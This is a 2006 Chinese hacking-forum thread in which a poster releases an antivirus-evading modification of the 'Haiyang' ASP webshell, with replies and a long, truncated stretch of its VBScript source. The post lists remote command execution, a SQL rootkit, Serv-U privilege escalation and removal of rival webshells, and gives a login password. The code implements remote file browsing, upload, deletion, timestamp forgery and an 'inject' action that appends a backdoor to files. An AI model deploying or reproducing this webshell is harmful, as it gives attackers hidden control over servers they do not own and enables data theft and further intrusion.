文章作者：TTFCT [E.S.T]
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

这段时间忙于简历和双选,好久都没有搞ASP马了,这是我前段时间修改的一个海洋,高手请勿见笑:)
功能如下:
1:
修正了HACK520修改的海洋的几个BUG,同时进行了免杀,我测试时杀软不再杀  
2:
加入了过LAKE2最新助手的功能
3:
新增功能如下:
ADO.Stream文件浏览操作器
SqlRootKit 3.0
wmi远程执行命令
SerV-U-ASP提权
干掉非本人ASP木马
4:
运行后界面如下图:


5：
登陆方式 ?zxzgcn=login  pwd:ttfct

KV2006免杀失败！！！

咔吧可过！！！
你的软件？？？

当时没有试KV，但瑞星和卡8没有问题

能不能过KV好象无所谓吧，服务器好象装KV的不是很多。。。。

结构正常,也比较干净, 但是打开mdb数据表看记录的时候maxthon死掉了

里面有个alexa的统计,报告完毕

ADO.Stream文件浏览操作器
SqlRootKit 3.0
wmi远程执行命令


这三个猪三哥里边是有的。如把打包修改下就好了。在组件探测继续增加，把goldsun的ado也加的。免杀是没必要做的。自己做就可以。
KV不是少数。

ado.srteam和里边的原有的shell.applaction应当是重复了.
另外,海阳2006+里边的数据库命令里可以直接执行所有的sql命令的(带回显),原来的2006不带.
2006+有asp程序扩展接口,里边自带了一个wmi执行命令示例的.其它的asp程序自然都可以运行.

建议把没加密的也放出来.

楼上的

想要原版就自己解密

所学所用

asp中的ENCODE,非常easy
之所以没有放示加密的出来，是为了躲过LAKE2的那个~：）

我貌似不能登陆上去。。昏迷。传上去了。不能登陆。。

挂统计就会看到文件来源了，等于帮LZ收集WEBSHELL了，扔进垃圾筒！

工具的确不错。 。呵呵。。不过我在上传开3389的文件时提示
错误: 写入文件失败。
错误源: ADODB.Stream

谁知道有没有解决的办法？

PS：不知道这个问题问在这里合适不。  [s:65]

[s:75] 其实这个版本早在我手里了。。ado.srteam和里边的原有的shell.applaction应当是重复了.
NO NO NO，调用的组件不同撒。。 [s:75]，还有一点就是马比较肥，2003系统下，用小马可以直接保存，2000系统下用小马不能直接保存的。大家使用的时候注意下。

引用:

这里是引用第[5 楼]的k2k于2006-09-20 11:43发表的：


里面有个alexa的统计,报告完毕

当时没有在意，自己解密后去掉

猪三兄的东西作的增加和修改，当时没想过有什么统计的，就没在意

引用:

这里是引用第[10 楼]的爆竹的孤独于2006-09-20 18:45发表的：
楼主用什么加壳软件/

北斗 4.5  你信不 . ?

其实还是建议楼主 你把没加密的 发布出来`!

引用:

这里是引用第[0 楼]的zxzgcn于2006-09-20 08:43发表的：[原创]海洋顶端ASP木马增强版
文章作者：TTFCT [E.S.T]
信息来源：邪恶八进制信息安全团队（www.eviloctal.com）

这段时间忙于简历和双选,好久都没有搞ASP马了,这是我前段时间修改的一个海洋,高手请勿见笑:)
功能如下:
.......

呵呵，你终于还是放出来了，。。。我还以为你不会公布的 。。早知道我就送几个给我朋友好了，我都没舍得给

<%@ LANGUAGE = &#39;VBScript&#39; %>
<%

Dim theAct, sTime, aspPath, zxzgcn, strBackDoor, fsoX, saX, wsX

sTime = Timer
theAct= Request("theAct")
zxzgcn = Request("zxzgcn")
aspPath = Server.MapPath(".")
     

Const m = "zxzgcn"
Const showLogin = "login"
Const clientPassword = "#"
Const dbSelectNumber = 10
Const isDebugMode = False
Const myName = "GET IN"
Const notdownloadsExists = False
Const userPassword = "ttfct"
Const MyCmdDoTExeFiLe = "cOmmaNd.coM"
ConSt strJSCloSeMe = "<inPut tYpe=butTon vAluE=&#39; 关闭 &#39; onClick=&#39;wiNdow.cloSe();&#39;>"

Sub creAteIT(fSoX, SaX, wSX)
  If isDebugMode = False Then
  On Error Resume Next
  End If

  Set fsoX = Server.CreateObject("Scripting.FileSy"&x&"stemObject")
  If IsEmpty(fsoX) And (zxzgcn = "FsoFile"&x&"Explorer" Or theAct = "fsoSe"&x&"arch") Then
  Set fsoX = fso
  End If

  Set saX = Server.CreateObject("Shell.Ap"&x&"plication")
  If IsEmpty(saX) And (zxzgcn = "AppFileExplorer" Or zxzgcn = "Sa"&x&"CmdRun" Or theAct = "saSe"&x&"arch") Then
  Set saX = sa
  End If

  Set wsX = Server.CreateObject("WScrip"&x&"t.Shell")
  If IsEmpty(wsX) And (zxzgcn = "WsCm"&x&"dRun" Or theAct = "getTermina"&x&"lInfo" Or theAct = "readR"&x&"eg") Then
  Set wsX = ws
  End If

  If Err Then
  Err.Clear
  End If
End Sub

Sub chkErr(Err)
  If Err Then
  echo "<style>body{margin:8;border:none;overflow:hidden;background-color:buttonface;}</style>"
  echo "<br/><font size=2><li>错误: " & Err.Description & "</li><li>错误源: " & Err.Source & "</li><br/>"
  echo "<hr></font>"
  Err.Clear
  Response.End
  End If
End Sub

Sub echo(str)
  Response.Write(str)
End Sub

Sub isIn()
  If zxzgcn <> "" And zxzgcn <> "login" And zxzgcn <> showLogin Then
  If Session(m & "userPassword") <> userPassword Then
   Response.End
  End If
  End If
End Sub

Sub showTitle(str)
  echo "<title>" & str & " </title>" & vbNewLine
  echo "<meta http-equiv=&#39;Content-Type&#39; content=&#39;text/html; charset=gb2312&#39;>" & vbNewLine
  echo "" & vbNewLine
  PageOther()
End Sub

Function fixNull(str)
  If IsNull(str) Then
  str = " "
  End If
  fixNull = str
End Function

Function encode(str)
  str = Server.HTMLEncode(str)
  str = Replace(str, vbNewLine, "<br>")
  str = Replace(str, " ", " ")
  str = Replace(str, " ", "   ")
  encode = str
End Function

Function getTheSize(theSize)
  If theSize >= (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024 * 1024)) * 100) / 100 & "G"
  If theSize >= (1024 * 1024) And theSize < (1024 * 1024 * 1024) Then getTheSize = Fix((theSize / (1024 * 1024)) * 100) / 100 & "M"
  If theSize >= 1024 And theSize < (1024 * 1024) Then getTheSize = Fix((theSize / 1024) * 100) / 100 & "K"
  If theSize >= 0 And theSize <1024 Then getTheSize = theSize & "B"
End Function

Function HtmlEncode(str)
  If isNull(str) Then
  Exit Function
  End If
  HtmlEncode = Server.HTMLEncode(str)
End Function

Function UrlEncode(str)
  If isNull(str) Then
  Exit Function
  End If
  UrlEncode = Server.UrlEncode(str)
End Function

Sub redirectTo(strUrl)
  Response.Redirect(Request.ServerVariables("URL") & strUrl)
End Sub

Function trimThePath(strPath)
  If Right(strPath, 1) = "\" And Len(strPath) > 3 Then
  strPath = Left(strPath, Len(strPath) - 1)
  End If
  trimThePath = strPath
End Function

Sub alertThenClose(strInfo)
  Response.Write "<script>alert(""" & strInfo & """);window.close();</script>"
End Sub

Sub showErr(str)
  Dim i, arrayStr
  str = Server.HtmlEncode(str)
  arrayStr = Split(str, "$$")
&#39;  Response.Clear
  echo "<font size=2>"
  echo "出错信息:<br/><br/>"
  For i = 0 To UBound(arrayStr)
  echo "  " & (i + 1) & ". " & arrayStr(i) & "<br/>"
  Next
  echo "</font>"
  Response.End
End Sub



isIn()

Call createIt(fsoX, saX, wsX)

Select Case zxzgcn
  Case showLogin, "login"
  PageLogin()
  Case "PageList"
  PageList()
  Case "objOnSrv"
  PageObjOnSrv()
  Case "ServiceList"
  PageServiceList()
  Case "userList"
  PageUserList()
  Case "CSInfo"
  PageCSInfo()
  Case "infoAboutSrv"
  PageInfoAboutSrv()
  Case "AppFileExplorer"
  PageAppFileExplorer()
  Case "SaCmdRun"
  PageSaCmdRun()
  Case "WsCmdRun"
  PageWsCmdRun()
  Case "FsoFileExplorer"
  PageFsoFileExplorer()
  Case "MsDataBase"
  PageMsDataBase()
  Case "OtherTools"
  PageOtherTools()
  Case "TxtSearcher"
  PageTxtSearcher()
  Case "PageAddToMdb"
  PageAddToMdb()
  Case "mycom"
  mycom()
End Select

Set saX = Nothing
Set wsX = Nothing
Set fsoX = Nothing

Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Rem  下面是各独立功能模块
Rem =-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Sub PageAppFileExplorer()
  Response.Buffer = True
  If isDebugMode = False Then
  On Error Resume Next
  End If
  Dim strExtName, thePath, objFolder, objMember, strDetails, strPath, strNewName
  Dim intI, theAct, strTmp, strFolderList, strFileList, strFilePath, strFileName, strParentPath

  showTitle("She"&T&"ll.Appl"&T&"ication文件浏览器(&stream)")

  theAct = Request("theAct")
  strNewName = Request("newName")
  thePath = Replace(LTrim(Request("thePath")), "\\", "\")
  
  If theAct <> "upload" Then
  If Request.Form.Count > 0 Then
   theAct = Request.Form("theAct")
   thePath = Replace(LTrim(Request.Form("thePath")), "\\", "\")
  End If
  End If

  echo "<style>body{margin:8;}</style>"
  
  Select Case theAct
  Case "openUrl"
   openUrl(thePath)
  Case "showEdit"
   Call showEdit(thePath, "stream")
  Case "saveFile"
   Call saveToFile(thePath, "stream")
  Case "copyOne", "cutOne"
   If thePath = "" Then
    alertThenClose("参数错误!")
    Response.End
   End If
   Session(m & "appThePath") = thePath
   Session(m & "appTheAct") = theAct
   alertThenClose("操作成功,请粘贴!")
  Case "pastOne"
   appDoPastOne(thePath)
   alertThenClose("粘贴成功,请刷新本页查看效果!")
  Case "rename"
   appRenameOne(thePath)
  Case "downTheFile"
   downTheFile(thePath)
  Case "theAttributes"
   appTheAttributes(thePath)
  Case "showUpload"
   Call showUpload(thePath, "AppFileExplorer")
  Case "upload"
   streamUpload(thePath)
   Call showUpload(thePath, "AppFileExplorer")
  Case "inject"
   strTmp = streamLoadFromFile(thePath)
   fsoSaveToFile thePath, strTmp & strBackDoor
   alertThenClose("插入成功!")
  End Select
  
  If theAct <> "" Then
  Response.End
  End If
  
  
  Set objFolder = saX.NameSpace(thePath)
  
  If Request.Form.Count > 0 Then
  redirectTo("?zxzgcn=AppFileExplorer&thePath=" & UrlEncode(thePath))
  End If
  echo "<input type=hidden name=usePath /><input type=hidden value=AppFileExplorer name=zxzgcn />"
  echo "<input type=hidden value=""" & HtmlEncode(thePath) & """ name=truePath />"
  echo "<div style=&#39;left:0px;width:100%;height:48px;position:absolute;top:2px;&#39; id=fileExplorerTools>"
  echo "<input type=button value=&#39; 打开 &#39; onclick=&#39;openUrl();&#39;>"
  echo "<input type=button value=&#39; 编辑 &#39; onclick=&#39;editFile();&#39;>"
  echo "<input type=button value=&#39; 复制 &#39; onclick=appDoAction(&#39;copyOne&#39;);>"
  echo "<input type=button value=&#39; 剪切 &#39; onclick=appDoAction(&#39;cutOne&#39;);>"
  echo "<input type=button value=&#39; 粘贴 &#39; onclick=appDoAction2(&#39;pastOne&#39;);>"
  echo "<input type=button value=&#39; 上传 &#39; onclick=&#39;upTheFile();&#39;>"
  echo "<input type=button value=&#39; 下载 &#39; onclick=&#39;downTheFile();&#39;>"
  echo "<input type=button value=&#39; 属性 &#39; onclick=&#39;appTheAttributes();&#39;>"
  echo "<input type=button value=&#39; 插入 &#39; onclick=appDoAction(&#39;inject&#39;);>"
  echo "<input type=button value=&#39;重命名&#39; onclick=&#39;appRename();&#39;>"
  echo "<input type=button value=&#39;我的电脑&#39; onclick=location.href=&#39;?zxzgcn=AppFileExplorer&thePath=&#39;>"
  echo "<input type=button value=&#39;控制面板&#39; onclick=location.href=&#39;?zxzgcn=AppFileExplorer&thePath=::{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\::{21EC2020-3AEA-1069-A2DD-08002B30309D}&#39;>"
  echo "<form method=post action=&#39;?zxzgcn=AppFileExplorer&#39;>"
  echo "<input type=button value=&#39; 后退 &#39; onclick=&#39;this.disabled=true;history.back();&#39; />"
  echo "<input type=button value=&#39; 前进 &#39; onclick=&#39;this.disabled=true;history.go(1);&#39; />"
  echo "<input type=button value=站点根 onclick=location.href=""?zxzgcn=AppFileExplorer&thePath=" & URLEncode(Server.MapPath("\")) & """;>"
  echo "<input style=&#39;width:60%;&#39; name=thePath value=""" & HtmlEncode(thePath) & """ />"
  echo "<input type=submit value=&#39; GO.&#39; /><input type=button value=&#39; 刷新 &#39; onclick=&#39;location.reload();&#39;></form><hr/>"
  echo "</div><div style=&#39;height:50px;&#39;></div>"
  echo "<script>fixTheLayer(&#39;fileExplorerTools&#39;);setInterval(""fixTheLayer(&#39;fileExplorerTools&#39;);"", 200);</script>"

  For Each objMember In objFolder.Items
  intI = intI + 1
  If intI > 200 Then
   intI = 0
   Response.Flush()
  End If
  
  If objMember.IsFolder = True Then
   If Left(objMember.Path, 2) = "::" Then
    strPath = URLEncode(objMember.Path)
    Else
    strPath = URLEncode(objMember.Path) & "%5C"
   End If
   strFolderList = strFolderList & "<span id=""" & strPath & """ ondblclick=&#39;changeThePath(this);&#39; onclick=&#39;changeMyClass(this);&#39;><font class=font face=Wingdings>0</font><br/>" & objMember.Name & "</span>"
   Else
    strDetails = objFolder.GetDetailsOf(objMember, -1)
    strFilePath = objMember.Path
   strFileName = Mid(strFilePath, InStrRev(strFilePath, "\") + 1)
   strExtName = Split(strFileName, ".")(UBound(Split(strFileName, ".")))
   strFileList = strFileList & "<span title=""" & strDetails & """ ondblclick=&#39;openUrl();&#39; id=""" & URLEncode(strFilePath) & """ onclick=&#39;changeMyClass(this);&#39;><font class=font face=" & getFileIcon(strExtName) & "</font><br/>" & strFileName & "</span>"
  End If
  Next
  chkErr(Err)

  strParentPath = getParentPath(thePath)
  If thePath <> "" And Left(thePath, 2) <> "::" Then
  strFolderList = "<span id=""" & URLEncode(strParentPath) & """ ondblclick=&#39;changeThePath(this);&#39; onclick=&#39;changeMyClass(this);&#39;><font class=font face=Wingdings>0</font><br/>..</span>" & strFolderList
  End If

  echo "<div id=FileList>"
  echo strFolderList & strFileList
  echo "</div>"
  echo "<hr/>"
  
  Set objFolder = Nothing
End Sub

Function getParentPath(strPath)
  If Right(strPath, 1) = "\" Then
  strPath = Left(strPath, Len(strPath) - 1)
  End If
  If Len(strPath) = 2 Then
  getParentPath = " "
  Else
  getParentPath = Left(strPath, InStrRev(strPath, "\"))
  End If
End Function

Function streamSaveToFile(thePath, fileContent)
  Dim stream
  If isDebugMode = False Then
  On Error Resume Next
  End If
  Set stream = Server.CreateObject("ad"&e&"odb.st"&e&"ream")
  With stream
  .Type=2
  .Mode=3
  .Open
  chkErr(Err)
  .Charset="gb2312"
  .WriteText fileContent
  .saveToFile thePath, 2
  .Close
  End With
  Set stream = Nothing
End Function

Sub appDoPastOne(thePath)
  If isDebugMode = False Then
  On Error Resume Next
  End If
  Dim strAct, strPath
  dim objTargetFolder
  strAct = Session(m & "appTheAct")
  strPath = Session(m & "appThePath")
  
  If strAct = "" Or strPath = "" Then
  alertThenClose("参数错误,粘贴前请先复制/剪切!")
  Exit Sub
  End If
  
  If InStr(LCase(thePath), LCase(strPath)) > 0 Then
  alertThenClose("目标文件夹在源文件夹内,非法操作!")
  Exit Sub
  End If

  strPath = trimThePath(strPath)
  thePath = trimThePath(thePath)

  Set objTargetFolder = saX.NameSpace(thePath)
  If strAct = "copyOne" Then
  objTargetFolder.CopyHere(strPath)
  Else
  objTargetFolder.MoveHere(strPath)
  End If
  chkErr(Err)
  
  Set objTargetFolder = Nothing
End Sub

Sub appTheAttributes(thePath)
  If isDebugMode = False Then
  On Error Resume Next
  End If
  Dim i, strSth, objFolder, objItem, strModifyDate
  strModifyDate = Request("ModifyDate")
  
  thePath = trimThePath(thePath)

  If thePath = "" Then
  alertThenClose("没有选择任何文件(夹)!")
  Exit Sub
  End If

  strSth = Left(thePath, InStrRev(thePath, "\"))
  Set objFolder = saX.NameSpace(strSth)
  chkErr(Err)
  strSth = Split(thePath, "\")(UBound(Split(thePath, "\")))
  Set objItem = objFolder.ParseName(strSth)
  chkErr(Err)

  If isDate(strModifyDate) Then
  objItem.ModifyDate = strModifyDate
  alertThenClose("修改成功!")
  Set objItem = Nothing
  Set objFolder = Nothing
  Exit Sub
  End If
  
&#39;  strSth = objFolder.GetDetailsOf(objItem, -1)
&#39;  strSth = Replace(strSth, chr(10), "<br/>")
  For i = 1 To 8
  strSth = strSth & "<br/>属性(" & i & "): " & objFolder.GetDetailsOf(objItem, i)
  Next
  strSth = Replace(strSth, "属性(1)", "大小")
  strSth = Replace(strSth, "属性(2)", "类型")
  strSth = Replace(strSth, "属性(3)", "最后修改")
  strSth = Replace(strSth, "属性(8)", "所有者")
  strSth = strSth & "<form method=post>"
  strSth = strSth & "<input type=hidden name=theAct value=theAttributes>"
  strSth = strSth & "<input type=hidden name=thePath value=""" & thePath & """>"
  strSth = strSth & "<br/>最后修改: <input size=30 value=&#39;" & objFolder.GetDetailsOf(objItem, 3) & "&#39; name=ModifyDate />"
  strSth = strSth & "<input type=submit value=&#39; 修改 &#39;>"
  strSth = strSth & "</form>"
  echo strSth
  
  Set objItem = Nothing
  Set objFolder = Nothing
End Sub

Sub appRenameOne(thePath)
  If isDebugMode = False Then
  On Error Resume Next
  End If
  Dim strSth, fileName, objItem, objFolder
  fileName = Request("fileName")
  
  thePath = trimThePath(thePath)

  strSth = Left(thePath, InStrRev(thePath, "\"))
  Set objFolder = saX.NameSpace(strSth)
  chkErr(Err)
  strSth = Split(thePath, "\")(UBound(Split(thePath, "\")))
  Set objItem = objFolder.ParseName(strSth)
  chkErr(Err)
  strSth = Split(thePath, ".")(UBound(Split(thePath, ".")))
  
  If fileName <> "" Then
  objItem.Name = fileName
  chkErr(Err)
  alertThenClose("重命名成功,刷新本页可以看到效果!")
  Set objItem = Nothing
  Set objFolder = Nothing
  Exit Sub
  End If
  
  echo "<form method=post>重命名:"
  echo "<input type=hidden name=theAct value=rename>"
  echo "<input type=hidden name=thePath value=""" & thePath & """>"
  echo "<br/><input size=30 value=""" & objItem.Name & """ name=fileName />"
  If InStr(strSth, ":") <= 0 Then
  echo "." & strSth
  End If
  echo "<hr/><input type=submit value=&#39; 修改 &#39;>" & strJsCloseMe
  echo "</form>"
  
  Set objItem = Nothing
  Set objFolder = Nothing
End Sub

Sub PageCSInfo()
  If isDebugMode = False Then
  On Error Resume Next
  End If
  Dim strKey, strVar, strVariable
  
  showTitle("客户端服务器交互信息")
  
  echo "<a href=javascript:showHideMe(ServerVariables);>ServerVariables:</a>"
  echo "<span id=ServerVariables style=&#39;display:none;&#39;>"
  For Each strVariable In Request.ServerVariables
  echo "<li>" & strVariable & ": " & Request.ServerVariables(strVariable) & "</li>"
  Next
  echo "</span>"
  
  echo "<br/><a href=javascript:showHideMe(Application);>Application:</a>"
  echo "<span id=Application style=&#39;display:none;&#39;>"
  For Each strVariable In Application.Contents
  echo "<li>" & strVariable & ": " & Encode(Application(strVariable)) & "</li>"
  If Err Then
   For Each strVar In Application.Contents(strVariable)
    echo "<li>" & strVariable & "(" & strVar & "): " & Encode(Application(strVariable)(strVar)) & "</li>"
   Next
   Err.Clear
  End If
  Next
  echo "</span>"

  echo "<br/><a href=javascript:showHideMe(Session);>Session:(ID" & Session.SessionId & ")</a>"
  echo "<span id=Session style=&#39;display:none;&#39;>"
  For Each strVariable In Session.Contents
  echo "<li>" & strVariable & ": " & Encode(Session(strVariable)) & "</li>"
  Next
  echo "</span>"
  
  echo "<br/><a href=javascript:showHideMe(Cookies);>Cookies:</a>"
  echo "<span id=Cookies style=&#39;display:none;&#39;>"
  For Each strVariable In Request.Cookies
  If Request.Cookies(strVariable).HasKeys Then
   For Each strKey In Request.Cookies(strVariable)
    echo "<li>" & strVariable & "(" & strKey & "): " & HtmlEncode(Request.Cookies(strVariable)(strKey)) & "</li>"
   Next
   Else
   echo "<li>" & strVariable & ": " & Encode(Request.Cookies(strVariable)) & "</li>"
  End If
  Next
  echo "</span><hr/>"
  
End Sub

Sub PageFsoFileExplorer()
  If isDebugMode = False Then
  On Error Resume Next
  End If
  Response.Buffer = True
  Dim file, drive, folder, theFiles, theFolder, theFolders
  Dim i, theAct, strTmp, driveStr, thePath, parentFolderName
  
  theAct = Request("theAct")
  thePath = Request("thePath")
  If theAct <> "upload" Then
  If Request.Form.Count > 0 Then
   theAct = Request.Form("theAct")
   thePath = Request.Form("thePath")
  End If
  End If

  showTitle("FSO文件浏览器(&stream)")
  
  Select Case theAct
  Case "newOne", "doNewOne"
   fsoNewOne(thePath)
  Case "showEdit"
   Call showEdit(thePath, "fso")
  Case "saveFile"
   Call saveToFile(thePath, "fso")
  Case "openUrl"
   openUrl(thePath)
  Case "copyOne", "cutOne"
   If thePath = "" Then
    alertThenClose("参数错误!")
    Response.End
   End If
   Session(m & "fsoThePath") = thePath
   Session(m & "fsoTheAct") = theAct
   alertThenClose("操作成功,请粘贴!")
  Case "pastOne"
   fsoPastOne(thePath)
   alertThenClose("粘贴成功,请刷新本页查看效果!")
  Case "showFsoRename"
   showFsoRename(thePath)
  Case "doRename"
   Call fsoRename(thePath)
   alertThenClose("重命名成功,刷新后可以看到效果!")
  Case "delOne", "doDelOne"
   showFsoDelOne(thePath)
  Case "getAttributes", "doModifyAttributes"
   fsoTheAttributes(thePath)
  Case "downTheFile"
   downTheFile(thePath)
  Case "showUpload"
   Call showUpload(thePath, "FsoFileExplorer")
  Case "upload"
   streamUpload(thePath)
   Call showUpload(thePath, "FsoFileExplorer")
  Case "inject"
   Set theFiles = fsoX.OpenTextFile(thePath)
   strTmp = theFiles.ReadAll()
   fsoSaveToFile thePath, strTmp & strBackDoor
   Set theFiles = Nothing
   alertThenClose("插入成功!")
  End Select
  
  If theAct <> "" Then
  Response.End
  End If
  
  If Request.Form.Count > 0 Then
  redirectTo("?zxzgcn=FsoFileExplorer&thePath=" & UrlEncode(thePath))
  End If
  
  parentFolderName = fsoX.GetParentFolderName(thePath)
  
  echo "<div style=&#39;left:0px;width:100%;height:48px;position:absolute;top:2px;&#39; id=fileExplorerTools>"
  echo "<input type=button value=&#39; 新建 &#39; onclick=newOne();>"
  echo "<input type=button value=&#39; 更名 &#39; onclick=fsoRename();>"
  echo "<input type=button value=&#39; 编辑 &#39; onclick=editFile();>"
  echo "<input type=button value=&#39; 打开 &#39; onclick=openUrl();>"
  echo "<input type=button value=&#39; 复制 &#39; onclick=appDoAction(&#39;copyOne&#39;);>"
  echo "<input type=button value=&#39; 剪切 &#39; onclick=appDoAction(&#39;cutOne&#39;);>"
  echo "<input type=button value=&#39; 粘贴 &#39; onclick=appDoAction2(&#39;pastOne&#39;)>"
  echo "<input type=button value=&#39; 属性 &#39; onclick=fsoGetAttributes();>"
  echo "<input type=button value=&#39; 插入 &#39; onclick=appDoAction(&#39;inject&#39;);>"
  echo "<input type=button value=&#39; 删除 &#39; onclick=delOne();>"
  echo "<input type=button value=&#39; 上传 &#39; onclick=&#39;upTheFile();&#39;>"
  echo "<input type=button value=&#39; 下载 &#39; onclick=&#39;downTheFile();&#39;>"
  echo "<br/>"
  echo "<input type=hidden value=FsoFileExplorer name=zxzgcn />"
  echo "<input type=hidden value=""" & UrlEncode(thePath) & """ name=truePath>"
  echo "<input type=hidden size=50 name=usePath>"

  echo "<form method=post action=?zxzgcn=FsoFileExplorer>"
  If parentFolderName <> "" Then
  echo "<input value=&#39;↑向上&#39; type=button onclick=""this.disabled=true;location.href=&#39;?zxzgcn=FsoFileExplorer&thePath=" & Server.UrlEncode(parentFolderName) & "&#39;;"">"
  End If
  echo "<input type=button value=&#39; 后退 &#39; onclick=&#39;this.disabled=true;history.back();&#39; />"
  echo "<input type=button value=&#39; 前进 &#39; onclick=&#39;this.disabled=true;history.go(1);&#39; />"
  echo "<input size=60 value=""" & HtmlEncode(thePath) & """ name=thePath>"
  echo "<input type=submit value=&#39; 转到 &#39;>"
  driveStr = "<option>盘符</option>"
  driveStr = driveStr & "<option value=&#39;" & HtmlEncode(Server.MapPath(".")) & "&#39;>.</option>"
  driveStr = driveStr & "<option value=&#39;" & HtmlEncode(Server.MapPath("/")) & "&#39;>/</option>"
  For Each drive In fsoX.Drives
  driveStr = driveStr & "<option value=&#39;" & drive.DriveLetter & ":\&#39;>" & drive.DriveLetter & ":\</option>"
  Next
  echo "<input type=button value=&#39; 刷新 &#39; onclick=&#39;location.reload();&#39;> "
  echo "<select onchange=""this.form.thePath.value=this.value;this.form.submit();"">" & driveStr & "</select>"
  echo "<hr/></form>"
  echo "</div><div style=&#39;height:50px;&#39;></div>"
  echo "<script>fixTheLayer(&#39;fileExplorerTools&#39;);setInterval(""fixTheLayer(&#39;fileExplorerTools&#39;);"", 200);</script>"

  If fsoX.FolderExists(thePath) = False Then
  showErr(thePath & " 目录不存在或者不允许访问!")
  End If
  Set theFolder = fsoX.GetFolder(thePath)
  Set theFiles = theFolder.Files
  Set theFolders = theFolder.SubFolders

  echo "<div id=FileList>"
  For Each folder In theFolders
  i = i + 1
  If i > 50 Then
   i = 0
   Response.Flush()
  End If
  strTmp = UrlEncode(folder.Path & "\")
  echo "<span id=&#39;" & strTmp & "&#39; onDblClick=""changeThePath(this);"" onclick=changeMyClass(this);><font class=font face=Wingdings>0</font><br/>" & folder.Name & "</span>" & vbNewLine
  Next
  Response.Flush()
  For Each file In theFiles
  i = i + 1
  If i > 100 Then
   i = 0
   Response.Flush()
  End If
  echo "<span id=&#39;" & UrlEncode(file.Path) & "&#39; title=&#39;类型: " & file.Type & vbNewLine & "大小: " & getTheSize(file.Size) & "&#39; onDblClick=""openUrl();"" onclick=changeMyClass(this);><font class=font face=" & getFileIcon(fsoX.GetExtensionName(file.Name)) & "</font><br/>" & file.Name & "</span>" & vbNewLine
  Next
  echo "</div>"
  chkErr(Err)
  
  echo "<hr/>"
End Sub

Sub fsoNewOne(thePath)
  If isDebugMode = False Then
  On Error Resume Next
  End If
  Dim theAct, isFile, theName, newAct
  isFile = Request("isFile")
  newAct = Request("newAct")
  theName = Request("theName")

  If newAct = " 确定 " Then
  thePath = Replace(thePath & "\" & theName, "\\", "\")
  If isFile = "True" Then
   Call fsoX.CreateTextFile(thePath, False)
   Else
   fsoX.CreateFolder(thePath)
  End If
  chkErr(Err)
  alertThenClose("文件(夹)新建成功,刷新后就可以看到效果!")
  Response.End
  End If
  
  echo "<style>body{overflow:hidden;}</style>"
  echo "<body topmargin=2>"
  echo "<form method=post>"
  echo "<input type=hidden name=thePath value=""" & HtmlEncode(thePath) & """><br/>新建: "
  echo "<input type=radio name=isFile id=file value=&#39;True&#39; checked><label for=file>文件</label> "
  echo "<input type=radio name=isFile id=folder value=&#39;False&#39;><label for=folder>文件夹</label><br/>"
  echo "<input size=38 name=theName><hr/>"
  echo "<input type=hidden name=theAct value=doNewOne>"
  echo "<input type=submit name=newAct value=&#39; 确定 &#39;>" & strJsCloseMe
  echo "</form>"
  echo "</body><br/>"
End Sub

Sub fsoPastOne(thePath)
  If isDebugMode = False Then
  On Error Resume Next
  End If
  Dim sessionPath
  sessionPath = Session(m & "fsoThePath")
  
  If thePath = "" Or sessionPath = "" Then
  alertThenClose("参数错误!")
  Response.End
  End If
  
  If Right(thePath, 1) = "\" Then
  thePath = Left(thePath, Len(thePath) - 1)
  End If
  
  If Right(sessionPath, 1) = "\" Then
  sessionPath = Left(sessionPath, Len(sessionPath) - 1)
  If Session(m & "fsoTheAct") = "cutOne" Then
   Call fsoX.MoveFolder(sessionPath, thePath & "\" & fsoX.GetFileName(sessionPath))
   Else
   Call fsoX.CopyFolder(sessionPath, thePath & "\" & fsoX.GetFileName(sessionPath))
  End If
  Else
  If Session(m & "fsoTheAct") = "cutOne" Then
   Call fsoX.MoveFile(sessionPath, thePath & "\" & fsoX.GetFileName(sessionPath))
   Else
   Call fsoX.CopyFile(sessionPath, thePath & "\" & fsoX.GetFileName(sessionPath))
  End If
  End If
  
  chkErr(Err)
End Sub

Sub fsoRename(thePath)
  If isDebugMode = False Then
  On Error Resume Next
  End If
  Dim theFile, fileName, theFolder
  fileName = Request("fileName")
  
  If thePath = "" Or fileName = "" Then
  alertThenClose("参数错误!")
  Response.End
  End If

  If Right(thePath, 1) = "\" Then
  Set theFolder = fsoX.GetFolder(thePath)
  theFolder.Name = fileName
  Set theFolder = Nothing
  Else
  Set theFile = fsoX.GetFile(thePath)
  theFile.Name = fileName
  Set theFile = Nothing
  End If
  
  chkErr(Err)
End Sub

Sub showFsoRename(thePath)
  Dim theAct, fileName
  fileName = fsoX.getFileName(thePath)
  
  echo "<style>body{overflow:hidden;}</style>"
  echo "<body topmargin=2>"
  echo "<form method=post>"
  echo "<input type=hidden name=thePath value=""" & HtmlEncode(thePath) & """><br/>更名为:<br/>"
  echo "<input size=38 name=fileName value=""" & HtmlEncode(fileName) & """><hr/>"
  echo "<input type=submit value=&#39; 确定 &#39;>"
  echo "<input type=hidden name=theAct value=doRename>"
  echo "<input type=button value=&#39; 关闭 &#39; onclick=&#39;window.close();&#39;>"
  echo "</form>"
  echo "</body><br/>"
End Sub

Sub showFsoDelOne(thePath)
  If isDebugMode = False Then
  On Error Resume Next
  End If
  Dim newAct, theFile
  newAct = Request("newAct")

  If newAct = "确认删除?" Then
  If Right(thePath, 1) = "\" Then
   thePath = Left(thePath, Len(thePath) - 1)
   Call fsoX.DeleteFolder(thePath, True)
   Else
   Call fsoX.DeleteFile(thePath, True)
  End If
  chkErr(Err)
  alertThenClose("文件(夹)删除成功,刷新后就可以看到效果!")
  Response.End
  End If

  echo "<style>body{margin:8;border:none;overflow:hidden;background-color:buttonface;}</style>"  
  echo "<form method=post><br/>"
  echo HtmlEncode(thePath)
  echo "<input type=hidden name=thePath value=""" & HtmlEncode(thePath) & """>"
  echo "<input type=hidden name=theAct value=doDelOne>"
  echo "<hr/><input type=submit name=newAct value=&#39;确认删除?&#39;><input type=button value=&#39; 关闭 &#39; onclick=&#39;window.close();&#39;>"
  echo "</form>"
End Sub

Sub fsoTheAttributes(thePath)
  If isDebugMode = False Then
  On Error Resume Next
  End If
  Dim newAct, theFile, theFolder, theTitle
  newAct = Request("newAct")
  
  If Right(thePath, 1) = "\" Then
  Set theFolder = fsoX.GetFolder(thePath)
  If newAct = " 修改 " Then
   setMyTitle(theFolder)
  End If
   theTitle = getMyTitle(theFolder)
